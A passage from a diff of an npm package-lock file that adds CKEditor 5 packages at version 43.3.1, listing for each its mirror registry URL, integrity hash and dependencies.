"version": "43.3.1", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-ckfinder/-/ckeditor5-ckfinder-43.3.1.tgz", + "integrity": "sha512-Yji6c1/0H5fExDcT+NNyQQePx2cd8Ul1Xuko1UVmsLN2Vhi7VIDJjEkCFndJozd8VQqI62Obe1GTyjmapBV5+A==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.3.1", + "@ckeditor/ckeditor5-ui": "43.3.1", + "@ckeditor/ckeditor5-utils": "43.3.1", + "ckeditor5": "43.3.1" + } + }, + "node_modules/@ckeditor/ckeditor5-clipboard": { + "version": "43.3.1", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-clipboard/-/ckeditor5-clipboard-43.3.1.tgz", + "integrity": "sha512-Ke6fVEy1fF3AWHMtKvF1pAoDYBVOG4q+gDHD8+dcV6KPK1uA/CR0mw6TZsslQQquT4jC79y05IWu2bq1Mxv01w==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.3.1", + "@ckeditor/ckeditor5-engine": "43.3.1", + "@ckeditor/ckeditor5-ui": "43.3.1", + "@ckeditor/ckeditor5-utils": "43.3.1", + "@ckeditor/ckeditor5-widget": "43.3.1", + "lodash-es": "4.17.21" + } + }, + "node_modules/@ckeditor/ckeditor5-cloud-services": { + "version": "43.3.1", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-cloud-services/-/ckeditor5-cloud-services-43.3.1.tgz", + "integrity": "sha512-JppySF+uWedDXPTVZBsTfZCe3qedDAdWSgw0Ww/qi4/sPFcgf/MaQ0LBHbl2Ii7JlJjng82F1F2kv9Ny/Rkauw==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.3.1", + "@ckeditor/ckeditor5-utils": "43.3.1", + "ckeditor5": "43.3.1" + } + }, + "node_modules/@ckeditor/ckeditor5-code-block": { + "version": "43.3.1", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-code-block/-/ckeditor5-code-block-43.3.1.tgz", + "integrity": "sha512-UGhGCPNfFXLua0TmszLSWX6BlkemaPULN1EZ+FBPsUZb757qWWWVWI9GKLmAc4jSPqOv+azU+JAZJzX9bE1oYA==", + "dependencies": { + "@ckeditor/ckeditor5-clipboard": "43.3.1", + "@ckeditor/ckeditor5-core": "43.3.1", + "@ckeditor/ckeditor5-engine": "43.3.1", + "@ckeditor/ckeditor5-enter": "43.3.1", + "@ckeditor/ckeditor5-ui": "43.3.1", + "@ckeditor/ckeditor5-utils": "43.3.1", + "ckeditor5": "43.3.1" + } + }, + "node_modules/@ckeditor/ckeditor5-core": { + "version": "43.3.1", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-core/-/ckeditor5-core-43.3.1.tgz", + "integrity": "sha512-6pil2OF4auF3PKrg1Oa86CqC91ZYc+NuHih0ebM0JW/I06d+0smnJg5dw4yN7mKbghbJS8mNrusxA5cf6Hkh6w==", + "dependencies": { + "@ckeditor/ckeditor5-engine": "43.3.1", + "@ckeditor/ckeditor5-utils": "43.3.1", + "@ckeditor/ckeditor5-watchdog": "43.3.1", + "lodash-es": "4.17.21" + } + }, + "node_modules/@ckeditor/ckeditor5-easy-image": { + "version": "43.3.1", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-easy-image/-/ckeditor5-easy-image-43.3.1.tgz", + "integrity": "sha512-Cd5NojL0Vfa1SQj6uzbP3oSHvQY5ys2hXF/2jNsYKLePTCybSvGkg5REv1JifM6kSNRH1VXdad7a2LkqvXnCnA==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.3.1", + "@ckeditor/ckeditor5-upload": "43.3.1", + "@ckeditor/ckeditor5-utils": "43.3.1", + "ckeditor5": "43.3.1" + } + }, + "node_modules/@ckeditor/ckeditor5-editor-balloon": { + "version": "43.3.1", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-editor-balloon/-/ckeditor5-editor-balloon-43.3.1.tgz", + "integrity": "sha512-klS1FZG29nJE/XbfRXrXtwYU/9uCFdi7xGbYfaJnmyNt54h46aiquKacosbiffA87Tr5sT3Oqm3dBbNlsU158w==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.3.1", + "@ckeditor/ckeditor5-engine": "43.3.1", + "@ckeditor/ckeditor5-ui": "43.3.1", + "@ckeditor/ckeditor5-utils": "43.3.1", + "ckeditor5": "43.3.1", + "lodash-es": "4.17.21" + } + }, + "node_modules/@ckeditor/ckeditor5-editor-classic": { + "version": "43.3.1", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-editor-classic/-/ckeditor5-editor-classic-43.3.1.tgz", + "integrity": "sha512-wjBeXUQBuvz6CmGlb5XncJ9cHE7tozU6eoorycfSTQCzqr5uE57LWTlKclU42w7MgS2ya5V2kLnncr0ZqrZ2Vw==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.3.1", + "@ckeditor/ckeditor5-engine": "43.3.1", + "@ckeditor/ckeditor5-ui": "43.3.1", + "@ckeditor/ckeditor5-utils": "43.3.1", + "ckeditor5": "43.3.1", + "lodash-es": "4.17.21" + } + }, + "node_modules/@ckeditor/ckeditor5-editor-decoupled": { + "version": "43.3.1", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-editor-decoupled/-/ckeditor5-editor-decoupled-43.3.1.tgz", + "integrity": "sha512-aw2iZ+WCcCu9sUAnsHhsXZWLeVPyiLhZfpZDuEWjPlvsrCfT0RfSuwMcfx7l9PREA09VR8+6MTstm61EG8dmWQ==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.3.1", + "@ckeditor/ckeditor5-engine": "43.3.1", + "@ckeditor/ckeditor5-ui": "43.3.1", + "@ckeditor/ckeditor5-utils": "43.3.1", + "ckeditor5": "43.3.1", + "lodash-es": "4.17.21" + } + }, + "node_modules/@ckeditor/ckeditor5-editor-inline": { + "version": "43.3.1", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-editor-inline/-/ckeditor5-editor-inline-43.3.1.tgz", + "integrity": "sha512-3iZiWl2aM1bCnS52NeBoAqCVowABhWrBlns27JEGKZ+LNPZroMie7uKuMX3YQGYE2awFnsyP6XofoJtu6CcKCA==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.3.1", + "@ckeditor/ckeditor5-engine": "43.3.1", + "@ckeditor/ckeditor5-ui": "43.3.1", + "@ckeditor/ckeditor5-utils": "43.3.1", + "ckeditor5": "43.3.1", + "lodash-es": "4.17.21" + } + }, + "node_modules/@ckeditor/ckeditor5-editor-multi-root": { + "version": "43.3.1", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-editor-multi-root/-/ckeditor5-editor-multi-root-43.3.1.tgz", + "integrity": "sha512-HDgfTuotrHW91AZ+x+lumwo1tngRRZ87dnHT8kjSRFWAeXPSd2Kw986++Oj9K080+idZaYLF+IutAOqvCT32sw==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.3.1", + "@ckeditor/ckeditor5-engine": "43.3.1", + "@ckeditor/ckeditor5-ui": "43.3.1", + "@ckeditor/ckeditor5-utils": "43.3.1", + "ckeditor5": "43.3.1", + "lodash-es": "4.17.21" + } + }, + "node_modules/@ckeditor/ckeditor5-engine": { + "version": "43.3.1", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-engine/-/ckeditor5-engine-43.3.1.tgz", + "integrity": "sha512-Fkv3ibQLDPVHFH0z4/+gA5wrkPVWOen+Cjv/NecNBeAszZUo+F2j9RwvQ1zHwtGb0RWj3+BWOPgo8jhSe7tFgA==", + "dependencies": { + "@ckeditor/ckeditor5-utils": "43.3.1", + "lodash-es": "4.17.21" + } + }, + "node_modules/@ckeditor/ckeditor5-enter": { + "version": "43.3.1", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-enter/-/ckeditor5-enter-43.3.1.tgz", + "integrity": "sha512-xaHnU2RbfYi8ilfN260pB3YDvJ9lE4SfiFQusyRdWkeBo5gDAGBbQY+qCC/hmxkr/yftNZfK+d7Ow93xXtqEwg==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.3.1", + "@ckeditor/ckeditor5-engine": "43.3.1", + "@ckeditor/ckeditor5-utils": "43.3.1" + } + }, + "node_modules/@ckeditor/ckeditor5-essentials": { + "version": "43.3.1", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-essentials/-/ckeditor5-essentials-43.3.1.tgz", + "integrity": "sha512-bZtzXhmBz8XF9J4eUxOjURmw0HJPKIqo18a6vNxg07W8z3ouHMb9ke//4z4FF9N/1dbtA7a2+jIACO6WvXrX4A==", + "dependencies": { + "@ckeditor/ckeditor5-clipboard": "43.3.1", + "@ckeditor/ckeditor5-core": "43.3.1", + "@ckeditor/ckeditor5-enter": "43.3.1", + "@ckeditor/ckeditor5-select-all": "43.3.1", + "@ckeditor/ckeditor5-typing": "43.3.1", + "@ckeditor/ckeditor5-ui": "43.3.1", + "@ckeditor/ckeditor5-undo": "43.3.1", + "ckeditor5": "43.3.1" + } + }, + "node_modules/@ckeditor/ckeditor5-find-and-replace": { + "version": "43.3.1", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-find-and-replace/-/ckeditor5-find-and-replace-43.3.1.tgz", + "integrity": "sha512-U9dyK8yQgxGTUphRbqdUJbvfi5v7zzijCo3Kj51NxyWwOFh7SGReQxHDGn44DmSRold6lg4F1sbXeFdwu1o+WA==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.3.1", + "@ckeditor/ckeditor5-ui": "43.3.1", + "@ckeditor/ckeditor5-utils": "43.3.1", + "ckeditor5": "43.3.1", + "lodash-es": "4.17.21" + } + }, + "node_modules/@ckeditor/ckeditor5-font": { + "version": "43.3.1", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-font/-/ckeditor5-font-43.3.1.tgz", + "integrity": "sha512-NOeBtScqMuBLVWFPuW0snleh7rMFkNb006yzDIG6JApnF3Vxi0JLQXub/lPHPgw5srqJ3z159DWT++exoyz/mQ==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.3.1", + "@ckeditor/ckeditor5-engine": "43.3.1", + "@ckeditor/ckeditor5-ui": "43.3.1", + "@ckeditor/ckeditor5-utils": "43.3.1", + "ckeditor5": "43.3.1" + } + }, + "node_modules/@ckeditor/ckeditor5-heading": { + "version": "43.3.1", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-heading/-/ckeditor5-heading-43.3.1.tgz", + "integrity": "sha512-cc8H027Y2OwvYDGMTbBSzE+oZaiLMZtlUnkgiolMw/OQ59ysONYi+KqyMzBMTuaXrkP3CLM57ZbsVGASQ3IQmQ==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.3.1", + "@ckeditor/ckeditor5-engine": "43.3.1", + "@ckeditor/ckeditor5-paragraph": "43.3.1", + "@ckeditor/ckeditor5-ui": "43.3.1", + "@ckeditor/ckeditor5-utils": "43.3.1", + "ckeditor5": "43.3.1" + } + }, + "node_modules/@ckeditor/ckeditor5-highlight": { + "version": "43.3.1", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-highlight/-/ckeditor5-highlight-43.3.1.tgz", + "integrity": "sha512-XVJq1YP4IAaWQBAyY1xlKOfzkpnclUH8zTUPaW3TZUGK5t6W/vFT+KAzYfUp7PdBb+PP8/O47FwKTvIQBkbqFw==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.3.1", + "@ckeditor/ckeditor5-ui": "43.3.1", + "ckeditor5": "43.3.1" + } + }, + "node_modules/@ckeditor/ckeditor5-horizontal-line": { + "version": "43.3.1", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-horizontal-line/-/ckeditor5-horizontal-line-43.3.1.tgz", + "integrity": "sha512-zkKe0S9gBXwveBUzUuCBPWyrzHQor/zcMCCX9YQk1StUxtRRsURNvWOoFeoG+Vf5jMGSA2gpnBgIo70WrX4A3A==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.3.1", + "@ckeditor/ckeditor5-ui": "43.3.1", + "@ckeditor/ckeditor5-widget": "43.3.1", + "ckeditor5": "43.3.1" + } + }, + "node_modules/@ckeditor/ckeditor5-html-embed": { + "version": "43.3.1", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-html-embed/-/ckeditor5-html-embed-43.3.1.tgz", + "integrity": "sha512-VqIhhPwMgAzmPqjvQUQYaFmCFglkg203W+LSVCwrvgVZ9mVtKbkhwCHBJnLhG7qatar7Gg93bObfAFdAjsaR2A==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.3.1", + "@ckeditor/ckeditor5-ui": "43.3.1", + "@ckeditor/ckeditor5-utils": "43.3.1", + "@ckeditor/ckeditor5-widget": "43.3.1", + "ckeditor5": "43.3.1" + } + }, + "node_modules/@ckeditor/ckeditor5-html-support": { + "version": "43.3.1", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-html-support/-/ckeditor5-html-support-43.3.1.tgz", + "integrity": "sha512-cnQ+kCPYH5GiSe5S+13Fr0vuS7DzT4Onx11fvOkssUujtAJ1e/C7hNf5Ehd+SOAgr5IzevutA/+OeR2KHGjIag==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.3.1", + "@ckeditor/ckeditor5-engine": "43.3.1", + "@ckeditor/ckeditor5-enter": "43.3.1", + "@ckeditor/ckeditor5-utils": "43.3.1", + "@ckeditor/ckeditor5-widget": "43.3.1", + "ckeditor5": "43.3.1", + "lodash-es": "4.17.21" + } + }, + "node_modules/@ckeditor/ckeditor5-image": { + "version": "43.3.1", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-image/-/ckeditor5-image-43.3.1.tgz", + "integrity": "sha512-QgHxZtWpclzQ5SUrh1oMsGFCvjykxge5IKe96iKUyAVrhyQp60RhW8DdAElHnPUg3wwILMYE7cKMphknCxcVkQ==", + "dependencies": { + "@ckeditor/ckeditor5-clipboard": "43.3.1", + "@ckeditor/ckeditor5-core": "43.3.1", + "@ckeditor/ckeditor5-engine": "43.3.1", + "@ckeditor/ckeditor5-typing": "43.3.1", + "@ckeditor/ckeditor5-ui": "43.3.1", + "@ckeditor/ckeditor5-undo": "43.3.1", + "@ckeditor/ckeditor5-upload": "43.3.1", + "@ckeditor/ckeditor5-utils": "43.3.1", + "@ckeditor/ckeditor5-widget": "43.3.1", + "ckeditor5": "43.3.1", + "lodash-es": "4.17.21" + } + }, + "node_modules/@ckeditor/ckeditor5-indent": { + "version": "43.3.1", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-indent/-/ckeditor5-indent-43.3.1.tgz", + "integrity": "sha512-CPU50tumKH7rJ6f9QEB/LHSyzKul9xP/43F1IesvOBWnOkAxQ2QI51oORT5WdKn4B0Z56ojAm48Q/ZUtsef+3w==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.3.1", + "@ckeditor/ckeditor5-engine": "43.3.1", + "@ckeditor/ckeditor5-ui": "43.3.1", + "@ckeditor/ckeditor5-utils": "43.3.1", + "ckeditor5": "43.3.1" + } + }, + "node_modules/@ckeditor/ckeditor5-integrations-common": { + "version": "2.2.2", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-integrations-common/-/ckeditor5-integrations-common-2.2.2.tgz", + "integrity": "sha512-SKGBBrwFFmSEZawR8P9tHGRq/l2OoqoJxy9f7j0HbDGEwIpSOsCSgH0xudD6lcEbWG4QWrCS28p5n8lgPA5elQ==", + "engines": { + "node": ">=18.0.0" + }, + "peerDependencies": { + "ckeditor5": ">=42.0.0 || ^0.0.0-nightly" + } + }, + "node_modules/@ckeditor/ckeditor5-language": { + "version": "43.3.1", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-language/-/ckeditor5-language-43.3.1.tgz", + "integrity": "sha512-M7npJRhLoZksnvjZ0fS+6hbAN4RebgZCE2bT9b3Z8Df2Alfy0GJEwJL5aQsYpr+78QFeytTpqzjxXLNLjOyEqA==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.3.1", + "@ckeditor/ckeditor5-ui": "43.3.1", + "@ckeditor/ckeditor5-utils": "43.3.1", + "ckeditor5": "43.3.1" + } + }, + "node_modules/@ckeditor/ckeditor5-link": { + "version": "43.3.1", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-link/-/ckeditor5-link-43.3.1.tgz", + "integrity": "sha512-duTA7harmvZPZ2LbJ8tHnOrhx5lGk6AGavbDzK2xuicMncivm+amrkl/b771uA3Rr6gclHY77ZPcOuVaK+dp/g==", + "dependencies": { + "@ckeditor/ckeditor5-clipboard": "43.3.1", + "@ckeditor/ckeditor5-core": "43.3.1", + "@ckeditor/ckeditor5-engine": "43.3.1", + "@ckeditor/ckeditor5-typing": "43.3.1", + "@ckeditor/ckeditor5-ui": "43.3.1", + "@ckeditor/ckeditor5-utils": "43.3.1", + "@ckeditor/ckeditor5-widget": "43.3.1", + "ckeditor5": "43.3.1", + "lodash-es": "4.17.21" + } + }, + "node_modules/@ckeditor/ckeditor5-list": { + "version": "43.3.1", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-list/-/ckeditor5-list-43.3.1.tgz", + "integrity": "sha512-PuR6uJ/SKvaXIgqTO3MUnX+00/xB/TalStiVqZqqG0xlYg47/eb6hul+4fmTPV7ahlJaon6Y3nO49TsPbbhApQ==", + "dependencies": { + "@ckeditor/ckeditor5-clipboard": "43.3.1", + "@ckeditor/ckeditor5-core": "43.3.1", + "@ckeditor/ckeditor5-engine": "43.3.1", + "@ckeditor/ckeditor5-enter": "43.3.1", + "@ckeditor/ckeditor5-typing": "43.3.1", + "@ckeditor/ckeditor5-ui": "43.3.1", + "@ckeditor/ckeditor5-utils": "43.3.1", + "ckeditor5": "43.3.1" + } + }, + "node_modules/@ckeditor/ckeditor5-markdown-gfm": { + "version": "43.3.1", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-markdown-gfm/-/ckeditor5-markdown-gfm-43.3.1.tgz", + "integrity": "sha512-aVP2FqQP7okSAorQoItcYRbOd0J2O1ubGjtvGGzl3uC5TuKAtlWYWcBfiVTHKxCCtxywPRiEgBxwoGuB5mlwhA==", + "dependencies": { + "@ckeditor/ckeditor5-clipboard": "43.3.1", + "@ckeditor/ckeditor5-core": "43.3.1", + "@ckeditor/ckeditor5-engine": "43.3.1", + "ckeditor5": "43.3.1", + "marked": "4.0.12", + "turndown": "7.2.0", + "turndown-plugin-gfm": "1.0.2" + } + }, + "node_modules/@ckeditor/ckeditor5-media-embed": { + "version": "43.3.1", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-media-embed/-/ckeditor5-media-embed-43.3.1.tgz", + "integrity": "sha512-3xMIaH/NTNEKv+lu1cRIIPGgDJgYI1DB+5NMXNVL3UGQkXdqW7PtgFDsOnhQwTAbyKpy+fHDngLb3eZuRdDkKw==", + "dependencies": { + "@ckeditor/ckeditor5-clipboard": "43.3.1", + "@ckeditor/ckeditor5-core": "43.3.1", + "@ckeditor/ckeditor5-engine": "43.3.1", + "@ckeditor/ckeditor5-typing": "43.3.1", + "@ckeditor/ckeditor5-ui": "43.3.1", + "@ckeditor/ckeditor5-undo": "43.3.1", + "@ckeditor/ckeditor5-utils": "43.3.1", + "@ckeditor/ckeditor5-widget": "43.3.1", + "ckeditor5": "43.3.1" + } + }, + "node_modules/@ckeditor/ckeditor5-mention": { + "version": "43.3.1", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-mention/-/ckeditor5-mention-43.3.1.tgz", + "integrity": "sha512-yrOdynVNOS72RjTjhFHzv3Ofbm0eTBKFhuibxdKFfHtTR0QIqSVB5jU+aW1+Jq5LG73E+9eYtip5paSjkqJMWQ==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.3.1", + "@ckeditor/ckeditor5-typing": "43.3.1", + "@ckeditor/ckeditor5-ui": "43.3.1", + "@ckeditor/ckeditor5-utils": "43.3.1", + "ckeditor5": "43.3.1", + "lodash-es": "4.17.21" + } + }, + "node_modules/@ckeditor/ckeditor5-minimap": { + "version": "43.3.1", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-minimap/-/ckeditor5-minimap-43.3.1.tgz", + "integrity": "sha512-2b0b4mZtRIHAvN/MFAVeqiGt58TZI7ixLcgJo0MHNesYlIk6v13opDWhQ9oefNe8OwJMkD3fAHMlAcg+fUqA9g==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.3.1", + "@ckeditor/ckeditor5-engine": "43.3.1", + "@ckeditor/ckeditor5-ui": "43.3.1", + "@ckeditor/ckeditor5-utils": "43.3.1", + "ckeditor5": "43.3.1" + } + }, + "node_modules/@ckeditor/ckeditor5-page-break": { + "version": "43.3.1", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-page-break/-/ckeditor5-page-break-43.3.1.tgz", + "integrity": "sha512-6AI2GGJveEm/2GESUY01wSPM7AeqHqVuX4Hon20uCAXHYCQkDubOHJ0yV3oFXl7iHeO6Ue2DdlSLayIUXCLoEQ==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.3.1", + "@ckeditor/ckeditor5-ui": "43.3.1", + "@ckeditor/ckeditor5-widget": "43.3.1", + "ckeditor5": "43.3.1" + } + }, + "node_modules/@ckeditor/ckeditor5-paragraph": { + "version": "43.3.1", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-paragraph/-/ckeditor5-paragraph-43.3.1.tgz", + "integrity": "sha512-16ry56X+uXuZEzGZwLS8zpX2DtWN/CHHu5pSz0r2VDZ1zUGLsq/MXutotZfzMMjgdED3x4mJRQE+WgiyRrlKDg==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.3.1", + "@ckeditor/ckeditor5-ui": "43.3.1", + "@ckeditor/ckeditor5-utils": "43.3.1" + } + }, + "node_modules/@ckeditor/ckeditor5-paste-from-office": { + "version": "43.3.1", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-paste-from-office/-/ckeditor5-paste-from-office-43.3.1.tgz", + "integrity": "sha512-LLf1KB11jeYLDpQPq0d2QVPxQxp9kEibPAF4rGD4stPpRx9d+DbwmE59Y5wVASKvYJo+yNpR9CGWsE4ZgjwTWw==", + "dependencies": { + "@ckeditor/ckeditor5-clipboard": "43.3.1", + "@ckeditor/ckeditor5-core": "43.3.1", + "@ckeditor/ckeditor5-engine": "43.3.1", + "ckeditor5": "43.3.1" + } + }, + "node_modules/@ckeditor/ckeditor5-remove-format": { + "version": "43.3.1", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-remove-format/-/ckeditor5-remove-format-43.3.1.tgz", + "integrity": "sha512-m7zvvYzHN/HExT0NoILXauVFI/AKQyuzPqqCI/VO1Ft5mLswXGuK6vmO1U10SmGz85etYZjEipKuouf2Anyqxg==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.3.1", + "@ckeditor/ckeditor5-ui": "43.3.1", + "@ckeditor/ckeditor5-utils": "43.3.1", + "ckeditor5": "43.3.1" + } + }, + "node_modules/@ckeditor/ckeditor5-restricted-editing": { + "version": "43.3.1", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-restricted-editing/-/ckeditor5-restricted-editing-43.3.1.tgz", + "integrity": "sha512-L6sA6UrUPy4Q3AzF8yQGsgEadO1IcZv53Ijevk9KuD7dwLF4f9x4ukUFLlGRpoYHPAW/+RpADp2PPegjKHo9QQ==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.3.1", + "@ckeditor/ckeditor5-engine": "43.3.1", + "@ckeditor/ckeditor5-ui": "43.3.1", + "@ckeditor/ckeditor5-utils": "43.3.1", + "ckeditor5": "43.3.1" + } + }, + "node_modules/@ckeditor/ckeditor5-select-all": { + "version": "43.3.1", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-select-all/-/ckeditor5-select-all-43.3.1.tgz", + "integrity": "sha512-oYQ8uF6hmlX7OefpJ0FflvKddAkEffg3fKMT2FAINwqxhX+O7h9RQZ79AiOkTab7HUTIkbhM5AlhFJIXiX0Z7Q==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.3.1", + "@ckeditor/ckeditor5-ui": "43.3.1", + "@ckeditor/ckeditor5-utils": "43.3.1" + } + }, + "node_modules/@ckeditor/ckeditor5-show-blocks": { + "version": "43.3.1", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-show-blocks/-/ckeditor5-show-blocks-43.3.1.tgz", + "integrity": "sha512-o+IhZnjMmoF2qd4l1GqQqroeIEA29QAIOYfvrdMKZGrzVGmjbvwyNkbJRyZlAYhZqX8tLDPaPGn0tl+onhWtzw==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.3.1", + "@ckeditor/ckeditor5-ui": "43.3.1", + "ckeditor5": "43.3.1" + } + }, + "node_modules/@ckeditor/ckeditor5-source-editing": { + "version": "43.3.1", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-source-editing/-/ckeditor5-source-editing-43.3.1.tgz", + "integrity": "sha512-Pq7WthQAiKa3A3q82bHqNRjQ/xlOpSX9kZHLm+CDH8XACxZbBF6Unz4JPR9zJRuQxkoFs314DM/PG6pPZQgXXA==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.3.1", + "@ckeditor/ckeditor5-theme-lark": "43.3.1", + "@ckeditor/ckeditor5-ui": "43.3.1", + "@ckeditor/ckeditor5-utils": "43.3.1", + "ckeditor5": "43.3.1" + } + }, + "node_modules/@ckeditor/ckeditor5-special-characters": { + "version": "43.3.1", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-special-characters/-/ckeditor5-special-characters-43.3.1.tgz", + "integrity": "sha512-3iwrtISndl5hc+/LuSXht69xqkEv95zg8Qxv+ovREA3pvtgt5u9O0t7ELcmUeTTEs/hJkF2FDplIYQj5zIvO+g==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.3.1", + "@ckeditor/ckeditor5-typing": "43.3.1", + "@ckeditor/ckeditor5-ui": "43.3.1", + "@ckeditor/ckeditor5-utils": "43.3.1", + "ckeditor5": "43.3.1" + } + }, + "node_modules/@ckeditor/ckeditor5-style": { + "version": "43.3.1", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-style/-/ckeditor5-style-43.3.1.tgz", + "integrity": "sha512-2+ATPa5y4ZUkak5xFTTDeUPhuCAYB4OPNt/QjMvrQjpEwXoWDJ4f8GqR9oFFsqEGMm65GrUp/xIQW8WRH43Kng==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.3.1", + "@ckeditor/ckeditor5-typing": "43.3.1", + "@ckeditor/ckeditor5-ui": "43.3.1", + "@ckeditor/ckeditor5-utils": "43.3.1", + "ckeditor5": "43.3.1", + "lodash-es": "4.17.21" + } + }, + "node_modules/@ckeditor/ckeditor5-table": { + "version": "43.3.1", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-table/-/ckeditor5-table-43.3.1.tgz", + "integrity": "sha512-Qr3GkKELnG1EY7Bu9dGQBkGTqhVnygeHKDCTEG9m218shYsI5L6jFftGUzWmJzMpm3hNFkyYv+1YWaIoqfRzIQ==", + "dependencies": { + "@ckeditor/ckeditor5-clipboard": "43.3.1", + "@ckeditor/ckeditor5-core": "43.3.1", + "@ckeditor/ckeditor5-engine": "43.3.1", + "@ckeditor/ckeditor5-ui": "43.3.1", + "@ckeditor/ckeditor5-utils": "43.3.1", + "@ckeditor/ckeditor5-widget": "43.3.1", + "ckeditor5": "43.3.1", + "lodash-es": "4.17.21" + } + }, + "node_modules/@ckeditor/ckeditor5-theme-lark": { + "version": "43.3.1", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-theme-lark/-/ckeditor5-theme-lark-43.3.1.tgz", + "integrity": "sha512-kAgeGx66jT31FFYwAoc43oX5ehQtiYE57OJWlPTXrDXxyq0Y+LYFW2/bp4UVYdZK+OKv9dp1Do3VQfxJoGzFjg==", + "dependencies": { + "@ckeditor/ckeditor5-ui": "43.3.1" + } + }, + "node_modules/@ckeditor/ckeditor5-typing": { + "version": "43.3.1", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-typing/-/ckeditor5-typing-43.3.1.tgz", + "integrity": "sha512-sK45GlrOHqWOphVnzDKe3kofVJGhSRk34UQJnyXgMN+35QJqypnJeBYBnnHWL8+nK0S4zk9oQO3PuiRH6gg/WQ==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.3.1", + "@ckeditor/ckeditor5-engine": "43.3.1", + "@ckeditor/ckeditor5-utils": "43.3.1", + "lodash-es": "4.17.21" + } + }, + "node_modules/@ckeditor/ckeditor5-ui": { + "version": "43.3.1", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-ui/-/ckeditor5-ui-43.3.1.tgz", + "integrity": "sha512-dbR4FK6mCkI89h4Joyf1PZt0Xsq0N+sZg05Z6BpYz6GS9U35C7J9bHxN469dvaIc8bJws4eYJ5x+St3LcvlduQ==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.3.1", + "@ckeditor/ckeditor5-engine": "43.3.1", + "@ckeditor/ckeditor5-utils": "43.3.1", + "color-convert": "2.0.1", + "color-parse": "1.4.2", + "lodash-es": "4.17.21", + "vanilla-colorful": "0.7.2" + } + }, + "node_modules/@ckeditor/ckeditor5-undo": { + "version": "43.3.1", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-undo/-/ckeditor5-undo-43.3.1.tgz", + "integrity": "sha512-UxrWPlHzL/DKuxp4R5mlQvy995Ozehh5hQxY5yvL285Dzv6PY5pk627Wv/qS8AyfLMyVNiFO9bDWBIcT9igQRA==", + "dependencies": { + "@ckeditor/ckeditor5-core": 